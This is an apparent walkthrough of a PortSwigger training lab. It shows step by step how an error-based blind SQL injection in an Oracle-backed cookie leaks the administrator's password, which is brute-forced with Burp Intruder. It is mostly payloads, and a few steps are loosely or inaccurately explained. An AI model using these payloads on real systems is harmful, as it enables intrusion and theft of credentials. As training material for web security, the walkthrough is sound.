Blind SQL injection with conditional errors
Blind SQL injection with conditional errors
Platform: PortSwigger | Category: SQL_injection | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SQL_injection
Summary
Walkthrough of the PortSwigger Web Security Academy lab Blind SQL injection with conditional errors (SQL_injection). This lab demonstrates a sql_injection vulnerability and its exploitation to achieve the lab objectives.
Lab Overview
PortSwigger Web Security Academy — SQL_injection
This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.
Lab Description :

Solution :
Request looks like this

Query looks like the following
sql read-only • copy allowedSELECT trackingId FROM someTable WHERE trackingId = '<COOKIE-VALUE>'
Inducing error message -
- Add an extra
'symbol. We see that error appears because of incorrect ssql syntax
sql read-only • copy allowedSELECT trackingId FROM someTable WHERE trackingId = '<COOKIE-VALUE>''

- Add 2 extra
'symbol, we get a response back which indicates that the sql syntax is correct ('' indicates opening and closing of query & hence correct sql query)
sql read-only • copy allowedSELECT trackingId FROM someTable WHERE trackingId = '<COOKIE-VALUE>'''

Conform the reason for error is invalid SQL query -
- To do this, you first need to construct a subquery using valid SQL syntax. Try submitting:
TrackingId=xyz'||(SELECT '')||'

In this case, notice that the query still appears to be invalid. This may be because the database used here is ORACLE & for that we need to specify a table called DUAL. Hence we got this error.
- Try specifying a predictable table name in the query:
TrackingId=xyz'||(SELECT '' FROM dual)||'

We get a response without any error , we can confrom that it is an ORACLE database which requires all SELECT statements to explicitly specify a table name.
- To conform this we can give an invalid query by specifying some random table
TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'

Hence confirmed.
Verify users table exist -
We can verify whether users table exist or not by the following command TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

No error -> implies that users table exist.
NOTE - Note that the WHERE ROWNUM = 1 condition is important here to prevent the query from returning more than one row, which would break > our concatenation.
Checking whether administrator user is present in db -
We can exploit this error inducing queries to test if admin user is present or not
- Set (1=1) ie. Condition is TRUE -
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

We receive an error. means the condition is TRUE so it threw an divide by 0 error
- Set (1=2) ie. Condition is FALSE -
TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

We get a 200 response , means the condition failed and hence it returned nothing !
NOTE- This demonstrates that you can trigger an error conditionally on the truth of a specific condition. The CASE statement tests a condition and evaluates to one expression if the condition is true, and another expression if the condition is false. The former expression contains a divide-by-zero, which causes an error. In this case, the two payloads test the conditions 1=1 and 1=2, and an error is received when the condition is true.
- We can use this behavior to test whether specific entries exist in a table. For example, use the following query to check whether the username administrator exists:
sql read-only • copy allowedTrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

It shows an error which means there is indeed a user called administrator
Determine the length of admin's password -
sql read-only • copy allowedTrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
RESPONSE -
- ERROR -> Condition is TRUE
- NUlll response -> Condition is FALSE
The length of password will be definitly > 1 , so we get an error.

AUTOMATE THIS by Burp Intruder , by adding password length (LENGTH>1) as payload .
From req 20, we get an error where condition is (LENGTH > 20)

This means that the password size is exactly 20 characters.
Bruteforce the admin's password -
sql read-only • copy allowedTrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,$1$,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Add the length of password & each letter to be bruteforced as payloads.
ATTACK TYPE - CLUSTER BOMB Payload 1 - Numbers Payload 2 - Bruteforcer
We get the 20 responses which returned a error.

Thus we got the admin's password - 8fysuozl95mngaem0abi
Now we can log in as administrator ,

Key Takeaways / Lessons
- Understanding SQL_injection detection and exploitation is crucial for web security.
- Always validate and sanitize user input; implement proper access controls.
- This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.
Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Blind SQL injection with conditional errors